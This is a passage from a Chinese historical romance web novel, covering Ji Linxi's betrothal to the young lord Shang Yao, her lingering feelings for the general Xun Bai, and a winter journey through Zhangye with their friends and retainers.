“我家宅邸在晋阳北,长姊原本嫁在城西。出嫁半年后,父母忍无可忍,在一条街外新置宅子,勒令二人搬来。”他难得一次就说这么多话,语气虽平静无波,临溪却敏锐捉到一缕少见的温情,在提及长姊和父母时。
随后又淡淡道:“家中女眷如此,我无颜逼迫你。”
她抬手搂他脖颈,很可爱地皱皱鼻子:“那怎么办?”
他拨开她有些乱的发鬓:“你想怎么办?”
她仰起脸,以唇靠近。
一寸一寸,一厘一厘。
他不自觉低头,想要触碰。
她却伸出食指,阻隔二人之间,气音笑道:“今朝有酒今朝醉。”
他垂下眼睛,拉开她的手。
临溪警告:“倘若你又舒服完就翻脸不认人,我这辈子不会再理你。”
他又笑,单手搂高她的腰:“原来你在意吗?”
她抬手就要打,被制住盘到腰后,被迫仰起脸,直面逼问:“翩翩,你在意吗?”
又是陷阱。她望着他,一个字也不说。
“你总预设潦倒结局。”他道,“但人和人之间,不该主线防范。”相知相爱才是。
他不说,不肯说这四个字。
临溪用指腹勾勒他侧脸弧度,口吻有了点亲昵的轻佻:“你是傻子。”
他俯身吻她,同她唇瓣摩挲片刻,重新和她拥抱,始终一言不发。
夜晚这样安静。
他从不知道卧榻之侧另有人安睡时,她的呼吸这样安静,连带心底也甘愿沦为寂静一隅,有着引诱人就此沉溺栖息的温热。
他的确也这么做了。
醒来后,身旁空无一人。
商曜抬手揉了揉额心,不知是宿醉后的恍惚,还是另一种极乐过的迷蒙。去到耳房打水洗漱完毕,折返后听见门页一动,某个小娘子背着剑,咬着小胡饼,蹦蹦跳跳回来了。
把一软盒丢在案上,“喏”一声:“爱吃不吃。”
他安静看向她。真可爱啊。
“我可告诉你,日出而作,清晨是了解一座城池的最佳时间。”她开始叉腰,絮絮叨叨,“金城早市就在我们这条街外,我昨日想,近日战胜,会不会没有胡商敢来了——要知道羌人长得是很好认的。不想还是照来不误,你说,于百姓生民而言,是不是衣食住行才是最紧要的事?”
他唇角一扬,低头取出胡饼。
“凉州以西,有疏勒、龟兹,有大宛、安息,还有一个去不了的身毒。”临溪坐他对面,托腮神游,“你说,青州以东是什么?”
商曜答:“是海。”
“海的那头呢?”
他抬眼看她。
“我没有见过海。”临溪语气向往,“并州也没有海。”
他笑了笑:“幽冀都是我的。有海。”
“你嫁给我。”他说,“海取之不尽。”
“大错特错,海是不能私有的。”临溪鼻尖抵过去,再皱一皱,“天地山海,风沙雨雪,都是世间无法私有的珍贵物件。只能人去涉足,永远不能占有。”
“姬临溪。”商曜停了一停,“你成日就在想这些吗?”
她笑眯眯:“我降临在这个世间,正是为了这些。”
“我买的胡饼,请君侯慢用。”临溪拿起剑,转身向外。临到门页,站住脚步,轻声道:傻子。
她没有回头,小声解释:“你昨日问我想什么。你想知道的,我都回答了。”
商曜望着她的背影:“那你愿意来我身边吗?”
“有一些了。”她更小声说,“你再给我一点点时间。”
“郎君。”她双手在身后轻轻一揪,“我不会耽误你的。”
依旧持剑,依旧蹦跳,鲜活如昨。
十一月底,凉州又下鹅毛大雪,今岁最大的一场雪。
卫棋徐砺等人领兵又将河湟地区前后关隘固防一遍,张广正式接任金城郡护羌校尉,金城局面终于得以平息。另,使君姬昱率武威军勤王一事传开,凉州归属也再没有异议。
洛阳闻声震怒,要司隶校尉部驻军来攻安定,傅以存亲率精骑检阅凉州门户军防,严阵以待。然而凛冬已至,就在这时,传来太后溘然长逝的讯息,皇帝下令治丧,暂缓西境战事。
临溪终于回到家中。
李芝兰在府外接住扑过来的女儿,欢天喜地:“你父亲同君侯一道入城了。”
“我知道。”临溪挽住母亲,“阿母可心安了吧?今后,父亲还是凉州唯一的使君,不会有人轻易动他,除非晋阳先靠不住。那我们也没法子。”
“是放心许多。”李芝兰感慨,“昔日城破,义子辜负,哪里能想到今日局面……翩翩,你父亲最该感谢你。”
临溪嘟囔:用不着。
她自己有私心。
收拾齐整就往武堂去,李芝兰在后头喊:“不怕冷吗?”
“不怕!”临溪头也不回,顶着风雪往前,直到推开武堂院门。
轻鸿听见动静,起身往外,双眼一亮:“翩翩!”
“你父兄回信了吗?”临溪捏住她手背,“解决了吗?”
“回信也来不及送到。”轻鸿摇头,“但我给姑臧令看过,他说那离石令看到君侯帅印,不吓哆嗦都不错了,绝不可能不放人。”
“那就好。”临溪进屋,跺脚取暖,“如果脚力快,还赶得上正旦。”
轻鸿认真拱手:“谢谢翩翩。”
“停。”临溪斜她一眼,“我找你帮忙,从来不说谢的。”
“那倒也是。”轻鸿软乎乎地笑过,忽然有些黯然,“不过待我阿兄归家,得知你议了亲事,对方还是那样的大人物,只怕这个新年会很伤心的。”
临溪一怔。
“当然,世上并不缺喜欢你的小郎君。”轻鸿叹气,“他也早知配不上你——”
“没有什么配不配得上,我父母也不是那样的人。”临溪打断,“但轻山兄于我只是兄长。”
“话是这样说。”轻鸿坐下,慢慢削一颗冬梨,并不顾忌,“但是你瞧,你也十六岁了,近两年那么多人问你亲事,使君坚持一个字也不曾松口。君侯一来,他就同意了。还是很不同的。”
临溪垂下眼睛:“你也发觉了。”
“自然呀。”轻鸿点点头,“他一出现,
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使君是相当用心了,千方百计想把你嫁过去呢。”
临溪起身过去,轻轻靠住她肩头:“你猜我为何说动他去金城表态?”
轻鸿一愣。
“父母也更喜欢有用的我。”临溪闷声,“阿父靠着姻亲周旋两州官吏,最后我不嫁,他一定会恼的。需要做点别的什么,帮他稳固他在凉州的地位,确保他不会被并州方面针对。如今董将军也交出虎符,得了晋阳那些将军愿意共事的好感,姑臧局势更稳固,他们就没那么多心思来埋怨我不懂事了。”
轻鸿惊讶:“翩翩……”
“这世上永远也不会有人真正毫无条件地爱护我。”临溪怔怔望着地面,“有时想问为什么,但每次话到嘴边,又觉得不必问了。也许想要快意潇洒活着,本身就是这么难。”
轻鸿抬起袖衽,擦掉她脸上的眼泪,低声指出:“可你是喜欢他的。”
“我从前也喜欢荀竞初。更喜欢。”临溪一扬脸,“但我知道他老了,就能忍住。”
轻鸿天真:“君侯才十九岁呀。”
“他——”临溪抬手让轻鸿靠近,神情倔强,“我喜欢,但我也很怕,怕不得不给其他女子的孩子做母亲,怕我的孩儿还要给旁的女子磕头。”
轻鸿瞬间懂了,用力点一点头。犹嫌不够,猛猛点头:“那我明白了!”
“他答应让我做正妻,就给我父母哄得心花怒放、神志不清。谁知去了晋阳会有多少变数?届时我孤苦无依,不就任他摆布了。”
临溪撇嘴,望着正从檐下飘落的雪花,忽然开口:“我姬临溪才不是男子哄哄就能够轻易哄到手的。我要再想一想。”
赵如霓静站在屋外,垂首扬唇,走出去数丈,停住脚步,转头嘱咐女使:“给女公子准备券书那笔钱,先存着。”
女使疑惑。
“再等等吧。以后她要晋阳的屋舍,我就赠与她晋阳的。”赵如霓转过回廊,语调平静,“嫁在姑臧,就换姑臧。要好的,大的,稳妥的,漂亮宅邸。”
女使颔首。
夜间,只有母女二人在家用饭。李芝兰频频看向临溪,临溪咬住木箸:“阿母有话说就是。”
“今日董将军在府上置宴,几位并州将领都赏脸了。”李芝兰迟疑,“除傅将军要驻防,其余人要回晋阳去了。如今你和君侯六礼也走到纳吉,还要什么东西,就同阿母说。阿母一一替你备下。”
临溪没有说话。
“阿母也很舍不得你。”李芝兰不禁微微地哽咽了,“但……”
临溪低着脸:“什么呢。”
“但是恐怕没有更好的机遇了。”李芝兰心头纠结,“再想要更有权势的,只能去洛阳找了。那洛阳的权势,又旦夕翻覆,依旧护不住你。”
临溪放下木箸,看向母亲:“阿母,其实那日……”
李芝兰疑惑。
她安静回望片刻,喉咙微滚了滚,最后只是道:“那日广陵散弹得不好。”
“都过去多久了。”李芝兰笑了,“且那日,他可是喜欢极了你。”
临溪点点头,垂下脑袋,乖巧用饭。
她很怕会失望。于是提前告诫自己,父母已经待她那样好,是她期许太高。
不能够这样高的。
发呆到戌时末,望舒敲开房门:“女公子,有人找。”
临溪想也知道是谁,再三深呼吸,系好大氅,提灯出去。
他从别处赶来,一身风霜雪意,只于照夜白一旁,向她回过身。
无声对望稍顷,商曜先开口。
“我要去玉门关。”他看着她的眉眼渐渐被雪沾湿,“非你想要的海,眼下冰天雪地。但问你父亲,你不曾去过——”
“我去!”临溪抢答,“我去。”
他颔首,转身就要上马。
临溪上前一步,脱口问:“你没有别的话要对我说吗?”
他站定了。
微微侧身,抱胸看她,活灵活现的少年模样。片刻,一抬下颌:“姬临溪。”
“女子爱听的那种,酥麻至肌肤生颤的甜言蜜语,我一辈子也不说。”
临溪跺脚:“你——”
他放下手,轻快万分:“就不说。你奈我何。”
39. 执拗
临溪欢天喜地赶到武堂时,穆轻鸿和赵如霓正在烤羔羊肉。听她说完,轻鸿呆呆指自己:“要我一起?”
“不然只有我一个女子。”临溪理直气壮,“你同我一道,过夜也方便些。”
赵如霓摇一摇头:“天气太冷了。你们受不住的。”
“就是。你作怪,折磨我。”轻鸿嘟囔,“这么冷,我每日都在家里睡觉。”
“那可是玉门关。”临溪凑过去,“你不想去看看吗?这回跟着他们,没有人查过所木传了。”
轻鸿心里一动,还是犹豫:“可是武堂……阿母说,正旦时节,事情很多。”
赵如霓立刻斜她:“你要是起不来,就莫推我身上。”
轻鸿吐舌头。
“我让望舒替你,她很伶俐。”临溪继续鼓动,“小菀青嘛,有点傻,不过力气很大。你家里这么多小工女使,还有她二人来帮忙,无事的。且伯父和轻山兄归来,路上就要一月,耽误不了。”
轻鸿撇嘴:“你自己想出去玩!”
临溪使劲摇她:“那你去不去嘛。途径张掖,还可以拜访荀将军,见一见霖儿。”
轻鸿思及“玉门山嶂几千重”,又想起荀霖那个可爱小弟弟,勉为其难道:“那说好了,我是陪你。如果太冷,我就归家来。快要正旦了,做生意的大好时节。”
“你看你这点出息。”临溪也撇嘴,“钱是赚不完的。你富成这样了,怎么还是贪得不行?”
“此言差矣。世上永远不嫌多的,只有钱。”轻鸿摇一摇头,甩了甩贴身的钱袋,软乎乎解释,“反正,我已经看明白了,什么功名利禄心志抱负,那都是骗人的,但钱是真好用。放之四海而皆使鬼推磨,只有钱能够办到。”
赵如霓奇道:“我家鸿儿平日看起来不谙世事,怎么转瞬之间,却已经参透世间玄机?”
临溪翻白眼。
李芝兰替她装了肉干和粗粮胡饼,又取出一只新水囊,最后拿一件新做的狐毛大氅,披在她身上,不满道:“还以为会给你安排马车。”
“他们轻装奔袭,可日行两百里。”临溪叉腰,看铜镜里自己的威风模样,“我干嘛要坐马车?我也可以。”
李芝兰叹气,忽然道:“翩翩好像又长高了。”
“是吗?”临溪一喜,转了两圈,“那明年换一把大些的剑。”
李芝兰一梗。原本想说,到了夫家不可能再这样行事,会不讨舅姑妯娌喜欢,看她兴致勃勃的神情,到底不忍心提。
只叹了口气,絮絮叨叨叮嘱:“出去也好。你不知道自从君侯回来,宋家那对夫妇请了他多少次,恨不得把女儿送出去做妾的架势!翩翩,阿母说的你要记着。君侯现下年纪太小,心性不定,婚后也别忘小心提防。军中应当无事,晋阳城里那些贵女,一概不许她们近身。旁的我不说,长子必须是你所出——阿母不是要你如何,更不是野心图谋,阿母只是希望,你永远不必为难。”
临溪放下手臂,低头怔怔不语。
镜子里的那小娘子,也好像忽然就不再威风。
商曜原本打算,如果临溪体力跟不上,就在中途驿舍要来一辆马车。不想她和她带来的那女公子都是马术好手,速度虽不及,却也完全不露怯,跟着策马两三个时辰,不仅面色如常,还能互相打闹。
韩朔早有心理准备,徐砺卫棋等人都颇为惊讶。私下里感慨,长在凉州大漠戈壁里的女子,和娇滴滴养在闺阁的洛阳贵女,的确大不相同。
“我发现一件怪事。”临溪拉起缰绳,挡在轻鸿身前,皱眉道,“傅归帆看了你好几回。”
轻鸿懵懵:“哪个是傅归帆?”
“商曜左手边那个。”临溪警惕,“他什么意思?”
“那个不就是那天一起来抓你的人。”轻鸿皱皱鼻子,“他看我做什么?”
临溪摸摸下巴,万分谨慎:“你别跟他讲话。”
轻鸿乖乖点点头。
其实商曜也很少和她讲话。
这人真是很古怪的。人人都以为他二人是铁板钉钉的未婚夫妻,经常撺掇他们在一处。但他在人前,永远冷静又平淡的模样。
偶尔和她交流,恢复寥寥数语,神色从容,同对旁人无异。
私下里明明不是这样。
她默默有些不开心。
临溪不愿承认也只能承认,她内心正在无比盼望,能够永远被他当作那个特殊的、最特殊的人对待。
但很显然,目前还没有。
想也知道没有了。如果有,不会连甜言蜜语也“一辈子都不说”。如果有,不会听懂了,却不回应她。
他听懂了。这样聪明的一个少年男子,她的每句话,他都能够瞬间理解。
进了张掖地界,临溪还是气鼓鼓,策马追赶上去,一叉腰道:“我要进觻得住!”
轻鸿一惊。荀将军就在觻得县的将军府。当着君侯面这样说,不大妥当吧?
韩朔果然不满:“你……”
“可以。”商曜看她一眼,语气平静,“就觻得。”
临溪倔强看他,眼睛深处,渐渐有了一丝委屈。在他发觉之前,猛地转头打马径自往前去。
穆轻鸿谁也不敢得罪,憨憨笑一笑,扬鞭追上去。
这小娘子笑起来眼睛更圆,脸颊像一枚桃肉小包子。傅以存心里笑得不行,转头见韩朔和徐砺互相对手势,慢半拍开口:“怎么个意思?”
“女公子的旧相好在觻得。”韩朔快嘴,“是荀竞初将军。”
傅以存惊讶,微微正色:“当真?”
徐砺颔首。
傅以存“哇”一声,赞道:“那她真是从来不找庸人。这眼光。”
韩朔瞪他,徐砺咳嗽。
傅以存咧嘴笑开,马蹄不紧不慢到了照夜白一侧,好心提醒:“她有脾气,在试探你。小娘子就这样。”
商曜不语。
“少主公!你这会该酸言酸语几句。”卫棋建议,“女公子都不高兴了。”
傅以存伸手去拍商曜肩膀:“装也要装。不然拿什么哄她陪你回晋阳?人家可是说了很多了,比你坦诚。”
“她说她的。没有人,可以仅凭一张嘴要挟我。”商曜垂首调转照夜白方向,语气冷淡,“没有人。”
他不大明白,他还是不大确定。和她一样,他也要再想一想。
难道心悦一个女子,就非要为她低至头颅最低之处吗?凭什么?她可以倔强,他却不可以?
他就是这样锋利的性情——这就是他原本的模样,十九年来,无一日不是。
然而姬临溪这厢再见到荀竞初,心头还是涌过一流淡淡怅然,一时间倒真把未婚“夫君”忘了。
轻鸿倒是高高兴兴:“将军!”她父亲穆丞是从前荀白麾下的将领,离开行伍后才同母亲一道经营武堂,两家人感情甚笃。
“轻鸿。”荀白颔首,转向临溪,温和开口,“翩翩。”
临溪默然,叉手见礼。三人落座。
“先前我就知道,他此行还有一目的是扫除羌乱。”荀白亲自倒了酪浆,端坐案后,“今年是很难得的机会。凉州极旱极寒,羌人只会更难过。”
“原本我也想出力,但君侯说,他不差我这三千人,守住河西道西即刻。”荀白笑了笑,“翩翩和他相处得好吗?这是当真极其傲气的一个小儿郎,才十九岁。”
临溪不吭声。
“不大顺利。”轻鸿做主答了,皱起小脸,“此人性情很难办哦。特别特别特别特别的——傲气。”
“慢慢来吧。”荀白低着头笑,其实是两个人都傲,“何时成婚?使君在信中说,君侯不方便在姑臧成亲,要你先去晋阳待嫁。是轻鸿过去陪吗?”
两人都一怔。轻鸿含含糊糊道:“如果要我去,我自是去的。”
小荀霖这时闯进来:“翩翩阿姊!轻鸿阿姊!”
临溪惊讶地发现,一年多不见,霖儿长高一大截,已到自己鼻下了。
轻鸿拿出备好的礼物,笑眯眯招呼:“霖儿好。”
“谢谢轻鸿阿姊。”荀霖认认真真道谢,
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牵着两位小阿姊,要去院里堆雪人。
荀白点头。
霖儿一边捧雪递给临溪,一边小声说:“阿父在准备阿姊的新婚贺礼。”
临溪一愣。轻鸿好奇:“是什么?”
“是木偶娃娃。”荀霖笑弯眼睛,“阿父亲手刻的,才上了色,还在晾。”
荀白回去前院见人,临溪按住霖儿肩头,急切道:“你去拿出来给我瞧一眼。好吗?”
霖儿犹豫片刻,心道反正也是送给阿姊的,点一点头:“我去拿!”
小心翼翼取回来,交给临溪:“喏!”
临溪低下脸。
栩栩如生的一只木偶娃娃,眉眼脸颊笑唇弧度,连带两枚小发包,无不精心细腻。姿势是小娘子正在举剑,威风凛凛,又可爱至极。
“阿父本来还刻了一个,是一个大很多的,扶着这只娃娃。”霖儿仰头,眼睛笑成一道缝,“不过后来又说刻得不好,不送了。”
轻鸿心头一震,陡然生出某种模模糊糊的猜想。本能不敢相信,更有些惊愕,不自觉看向临溪。
临溪垂下眼睛,摸了摸荀霖的脑袋。
他不是老了,她一直知道。他也可以很年轻,他漫长的人生甚至可以尚未开始,但不能是相对一位十六岁的小娘子,不能是相对一份来自豆蔻年华的爱慕。
她和十九岁的人或许也不合适,但和三十一岁的人,是永远不再合适。
轻鸿察觉,临溪心情忽然间变得很是低落。
商曜等人自顾自用饭去了,没有管她们。晚间一道回到官驿,临溪另外叫了酒,同她对饮。
“我就说——”临溪有点大舌头,“我就说,世上不可能有我喜欢却不喜欢我的人。”
轻鸿心里有点疼,有点可惜:“其实——”
“没有其实。”临溪怔怔,摇一摇头,“没有其实。”
“过去几年,每年我都盼着正旦,各郡郡守和驻防将军,来给父亲送节礼。”临溪低下脑袋倒酒,“因为这是我唯一一次可以见到他的机会。一年或许就这一次。”
“为什么英雄也会老呢?”临溪问轻鸿,“他要是永远十九岁……”
“我们也会长大的。”轻鸿伸出食指,“你想,等你三十岁,他都快五十岁了,就很奇怪了。”
临溪咕哝了一句什么,趴在桌上,一动不动了。
轻鸿叹气,正要去扶,她忽然又跳起来,狠狠拍响桌案,格外大声道:“他要是二十岁,我早嫁给他了!还有那商长叙什么事?”
随后又倒下去,脸颊侧贴着案面,音量几不可闻,咕咕哝哝:“对我一点也不好。明明什么都懂,却老不管我。我说不会耽误他,是想他再哄哄我呀……晋阳那么、那么远。”
屋外,傅以存沉默,韩朔更噤声。
商曜垂眸。
一片死寂过后,他将手里的烽燧小圆饼丢给韩朔,冷着脸转头,大步往楼下去了。
韩朔接是接住了,拉傅以存跟上,中途忽然开口:“其实小娘子只是——”
“只是没有觉得安全。”傅以存笑了一笑,“找不到决心。”
韩朔“哎”了一声:“少主公就是这样的性情。”
他忍不住强调:“喜欢是真喜欢的。”
傅以存望一望那道背影,笑了一下,不再说了。抢过那份烽燧小圆饼,转身折返去敲门。
轻鸿小心探出脑袋,见是他,语气不大热络:“何事?”
“送小娘子吃食。”傅以存递过圆饼,眉眼弯弯,“张掖独有烽燧饼。送你的。”
轻鸿警惕,上下看他几眼,摇一摇头。
他不由挑眉。
“你不要和我套近乎。”她语速有些慢吞吞,却很认真地宣布,“也不要和我没话找话——我不想同你讲话。”
傅以存沉默望着她。
轻鸿整张脸都更圆了,眼睛睁大了也圆,嘴巴瘪一瘪也圆。利落关门时,朝向他的拳头都圆圆的,小声说:“再见。”
“啪”的一声,门直接关上了。
40. 落雪
将军府前院,客室窗下。
“这是张掖特酿,名为觻得春起。”荀白抬起手掌,“君侯请用。”
商曜看了他一眼。
“我明白君侯用意。”他慢慢笑了一笑,“君侯宏图伟略,我亦信服。如今使君愿意倚靠,我更无二话。然我不愿离开张掖,晋阳于我父子二人,也实在山高水远。”
“以将军才干,”商曜抬一抬眼,“略感可惜。”
荀白还是笑:“是君侯肯抬举。”
“我父亲少时才是真正的骁勇。”他转过脸,平静望向窗外冬夜,“凭此得到各方招揽,开出诱人筹码收用。最终卷入洛阳乱局,被宦官所害,负气死在狱中。如今想来,是非成败转头空,春风不染白髭须。人这一生,唯青山常在尔。”
商曜沉默片刻,淡声道:“我尊重将军意愿。”
“君侯比前两年稳重多了。”荀白抬了抬手,笑意释然,“十六岁那会被回绝,是直接写信叫我有本事就永远不要投靠你,被羌人逼死也别找你,说凉州迟早也是你的——倒确实是你的了。”
商曜低下头,还是礼貌道:“那时不懂事。”
荀白望一望他:“两年前,翩翩才十四岁呢。”
商曜神色一顿。他都不想提的,对方还主动说。
“其实比起姬使君,李夫人才是负责教养翩翩的那个。”荀白颔首,“使君举家来凉州时,这孩子不过四五岁,离开洛阳那种富贵之地,乍然迁居苦寒边陲,可想而知是不好过的。凉州一直不安定,羌胡频频作乱,贵族教导孩儿的方式就不大一样。以翩翩的性子,有时或许行事蛮横,爱闹脾气,实则本心十分纯善。”
商曜只道:“没想到将军更想跟我说这些。”
“她自幼学剑的那武堂,主人是我麾下一位郎将,姓穆,夫妻恩爱,儿女双全。在战场受了伤,其妻家境又相当殷实,不肯他再冒险,就辞掉军中官职。”荀白平静道,“如此相识,不算什么渊源。且武堂里的孩子,年纪都和我儿差不太多,有时就一道受我教养几分,素日里并没有来往。”
商曜静了一静,倏地绽开笑容,笑意轻轻浅浅。
这是怕他对她有情绪,来迂回解释了。
“即便嫁过人,只要我喜欢,”他盯着荀白,定定道,“就都是我的。且我也没时间芥蒂妇人过往。”
他一点都不在意。
为什么要在意?
“不芥蒂也分很多种啊。”荀白垂下眼睛,笑容温和,“是真心接纳的不芥蒂,还是不那么在乎的不芥蒂,这都不一样。”
“天下驰道于男子而言,不过奔波时长不同。”他续上酪浆,“于嫁出去的女子,有时却就是天堑,要与亲人诀别。如若不是足够真心,就实在太过遥远了。”
商曜默然。
“使君这个人,”荀白稍稍一停,“是个好官,也是位好父亲。他疼爱翩翩,真心毋庸置疑。但你们年纪太轻,或许不大能明白,无论多好的人,在为人父母前,首先也还是他自己。但凡是人,都有私心。”
“如今凉州虽未大动,但军营衙署里来来去去,有你并州籍贯郎官,以后正月前也要送信去晋阳述职。你人年轻,没有妻妾,他把膝下适龄女儿嫁给你,百利而无一害。”荀白慢慢道,“有时许多行为刻意,是想极力促成亲事。翩翩容貌很好,男子很容易误以为滋生爱意。但抛开这些,君侯也该问问自己内心,是否真的有那么喜爱她。”
说到此处,不禁看对座一眼。可惜并未得到回应。
荀白垂眸:“她一个凉州女子,没有你的支持维护,在晋阳独木难支——她这个性格是一丁点委屈受不得的,一旦过得不痛快了,你又时常不在晋阳,莫说孝亲舅姑、经营妯娌,只会叫你家内宅鸡飞狗跳,她真的会。你在外征战疲惫,归家还不得安宁,迟早也会和她离心——所谓至亲至疏夫妻。你喜欢她鲜活,到那一天,她不活泼了,你也就不喜欢了。”
商曜依旧不语,唯指腹相接。
“但话说回来,若君侯耐心够多,待她够好,等她真正长大,一定会叫你惊喜。”荀白含笑,“翩翩呢——政敌毒酒端到眼前,她比你先踹翻,绝不哭哭啼啼。”
至此自觉该说的都说了,举一举酒觞:“她视我为兄长,酒后思及小妹前程,难免多嘴几句。君侯莫怪。”
商曜怔了一怔,低头举起酒觞,和他轻轻一碰。
归了驿舍,路过隔壁上房,脚步一顿。
张掖边远,并非大郡,驿舍远不及姑臧和金城的齐备。二楼檐下不过一盏粗简灯笼,烛芯也用廉价膏烛,烛光昏暗摇曳不说,在这冬夜里,隐隐升起一缕焦躁气味。
那气味烧到心底去。
月下寂静又寂静,这双男子靴履静立许久,亦无声无息离开了。
次日临溪晨起,醉后头痛欲裂。
“我今日不能赶路。”她捶着脑袋,“难受——”
“今日本就不走。”轻鸿坐在窗下,“你过来瞧。”
临溪起身,只敢推开窗格小小一寸。
窗外已是大漠雪白,天地凛冽。
让姬临溪感叹美景或赋诗情怀是没可能的,她真的不爱看书,心思也不细腻。啪地将窗拍上,哆嗦走近鐎斗,只是咕哝:“想吃炙羊肉了。”
“今夜还真有。”轻鸿也在暖手,“翩翩,他们请我们烤肉聊天。”
临溪转过脸:“他们?”
“是韩将军和徐将军。”轻鸿连忙解释,“我觉得徐将军很是和善,待我们也好,说话耐心。韩将军,人不错,有点傻。”
“所以徐将军娶妻了。”临溪赞道,“听说青梅竹马,感情甚笃。夫人动手,他绝不还口。”
“那真好。”轻鸿托着下巴,“比你和那个人好。我觉得你俩动不动互不理睬,谁也不服谁。你昨天喝多了,说如果不是荀将军年岁不合适,你根本不会看他一眼。”
“啊?”临溪完全不记得,心里一惊,“我这样说?”
“是这么说的。”轻鸿睨她,“不过只有我知道,你放心。”
临溪挠头。
二人下楼,已有人隔开小间,烤炉位于正中,两侧木架上有清洗过的猪牛羊,另几盘冬葵、豆叶和芜青。
商曜并不在。除非筵席必要场合,他根本不和人同案吃饭。连装作体恤,他都不肯,也不屑。
临溪微微抿唇,拉着轻鸿坐下,倒了两杯酪浆。
韩朔找轻鸿说话:“小娘子父亲是荀将军旧部?”
轻鸿点一点头。
“一看小娘子就很是富贵。”他笑呵呵,“家里人待你一定很好。不过小娘子生得这么可爱——”
临溪面无表情,抬腿踹过去。
韩朔龇牙咧嘴。他又没有乱说!这穆轻鸿小娘子,家里虽非凉州官吏,有时衣着却比临溪还要精细。
河西道好些家族,打开了商道门路,一贯紧紧藏富。
“是。我阿父阿母和兄长,都最喜欢我。”轻鸿笑没了眼睛,“我阿母给我存的贺岁铜钱,穿都穿不过来了,家里黄金也都是我的。”
又开始了,临溪按一按额头。轻鸿一直笃信,堂堂正正赚钱,富就是要拿来显摆的。
她伸出手腕,神情却还有些不好意思:“给你们看,这是西域来的阗玉。我阿母全部拿来给我打了平安镯。”
“我都戴不起!她可有钱了。”临溪听到这里,忍不住作证,“姑臧城最富有的小娘子。她父兄去并州走镖,都是替她赚——还被你们离石县的县令抓起来了!”
“离石县的——县令?”韩朔大为不解,“米粒大的一个官!岂有此理?”
“是你不懂。”临溪严肃摇一摇手指,“自古都是越小的官,越容易直接搜刮百姓。池子越小,王八越会吸水。”
徐砺点一点头:“女公子慧言。”
众人聊起新年,说如今经北地郡驰骋,半月就可抵晋阳,终于可以回家了。临溪发怔,又听韩朔随口道
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:“不过归帆会留下驻防,他不会在晋阳过年的。”
“是吗?”轻鸿好奇,“他为何不在家过年?”
徐砺谨慎不答,韩朔左右看了看,招手让她靠近,小声道:“这个事,说来话长。”
轻鸿凑过去。
“归帆其实不是晋阳人。”他一副娓娓道来的架势,“你看表字,归帆归帆,帆就是船的意思。他是渤海郡人,少时流落,但天资聪颖,被少主公父亲带回晋阳,陪读又陪练。父母沾了他的光,也一道去晋阳安居。过了几年——对了,我说一下,他父亲这人,没有什么本领,长得却很不错。被晋阳一个大官家女儿看上,他阿父立刻就不想要他母亲了。”
临溪撇嘴。轻鸿张一张唇,脱口道:“怎么这样呀。”
“原本是说,叫他母亲改做妾,再将那女子娶进门。”韩朔道,“他母亲却说自己绝不受辱,为之泣血。随后就大病一场。恰逢凛冬,越病越重,医士大约也不算太尽心……总之,死在第二年的正旦当日。”
轻鸿微微红了眼圈。
“那年归帆才十一岁。”徐砺也忍不住开了口,“但也十一岁了,该懂的都懂,持剑就去找他父亲拼命,说要弑父,被老君侯一顿暴打。结果没多久……那新夫人就有孕了。算下时日,是在他母亲病重垂危时。”
轻鸿愤愤:“这是什么人!把他抓起来!”
“话是这样说。”卫棋直叹气,“但他新岳父的确是个晋阳城里的大官,且说到底,姻亲这种事没有伤天害理,归帆母亲也确是病逝。不仁不义又不违律法,不好抓的。”
“从那之后,他就没在家里贺新年了,除夕守岁也从不去的。”韩朔瞅一瞅背后,眼见没人,才放心道,“他就攒钱,好在少主公也有钱。没过两年他二人就凑够,为归帆置办了一座新宅邸,和他父亲一南一北,虽然屋子小,好歹分开过了,这么多年也算相安无事。以后说亲,新妇不必受这对舅姑的气……”
临溪打断:“谁问了?”
韩朔莫名其妙:“我不能说?”
临溪警惕看一看轻鸿,见她还在用手背抹眼泪,心下更是提防:“讲废话没有用。我们又没问这么多。”
平白心疼男子,那是要倒大霉了。
“你——”韩朔不高兴道,“你今后嫁来,一定会欺负我们。”
徐砺扯一扯他,示意慎言。
“就欺负了,怎么了?”临溪举起剑,向前一送,“有本事,就打一架。”
韩朔哼一声,扭过身去。
轻鸿破涕为笑,只是依旧骂:“这父亲真是好坏的人。”
卫棋温和望着她,轻轻递出方巾。
临溪心中警铃大作。
心道没完没了,防傅以存一个不够,这又来一个!皱眉望着卫棋。
轻鸿实在过于讨人喜欢了。
她很清楚,不仅仅是男子,天底下也没有人能拒绝这么圆的一张脸。偶尔绑着两枚发包,嘀嘀咕咕走过来,不明白一件事是以微微睁大眼睛,就有了那么点呆。
这是姬临溪心里的穆轻鸿。空有一个嘹亮英武的名,剑术也很好,却还是很容易被欺负。
何况是两个年轻又未婚的将军!
她简直头疼。
她暗示得还不够明显吗?都说了轻鸿真的很有钱,难道非要她直说,你们军俸几何,掂量掂量自己?
傅以存终于回来了。
看见临溪,礼貌点一点头,目光游向一旁正在一口一口认真咬羊肉的小娘子,垂眸扬唇。
临溪气得要昏了。正要开口威慑,眸光落在官驿大门。
另有一人也在这时归来。长身玉立,侧对而站。着一身油布袯襫,头戴笠帽,侧颊分明而英挺。垂眸正在解绳,连那修长指骨上,都是一层薄薄落雪。
她忽然就忘记,要警告什么。
只在心里道:快点来找我说话——
你这个骄傲得没边的郎君,快!来!找!我!说!话!
41. 骨骼
韩朔等人起身行礼,商曜不过唔一声,点了点头。转身过到厅堂,同众亲兵打了个照面,就要上楼去。
临溪暗暗呲牙,分明有些赌气。
他又停住。
倒着退后几步,长臂伸出,摁住临溪脑袋。
揪了一下发包,语气淡淡:“过来。”
临溪即刻就想回嘴,对上众人戏谑目光,脸上一热。一跺脚,飞快跟上去了。
这还差不多!她不生气了,嘿嘿。
轻鸿思及方才听的故事,忽然问:“你们去哪里了呀。”
傅以存坐下用饭,听她问就抬头答:“去见张掖郡守了。”
“就你和君侯两个人吗?”轻鸿睁大眼睛,“你们不怕太守……”
徐砺一笑:“他的幺儿都在晋阳进学了。”
轻鸿一愣:“什么时候的事?”
“很早之前。”韩朔摸下巴,“两年前了。”
轻鸿张了张嘴,有些错愕。
“觻得县有荀竞初将军,又是张掖郡治。”徐砺看着她笑了一笑,“女公子放心,凉州不会有什么事了。”
轻鸿心脏砰砰,再想起方才那张冷淡的脸,不由缩了一下颈项。
她确定了,再年轻也是深不可测的蛇蝎,还是个极其年轻的,可以再作乱五十年。她只希望翩翩好运。
姬临溪不知为何,如今对上他就有些扭捏,立刻唾弃自己。分明想骂他的,他淡然看她一看,伸出手来捉,她的身体里就像突然长了个什么别的人,控制着她的手脚,配合落到他的怀里。
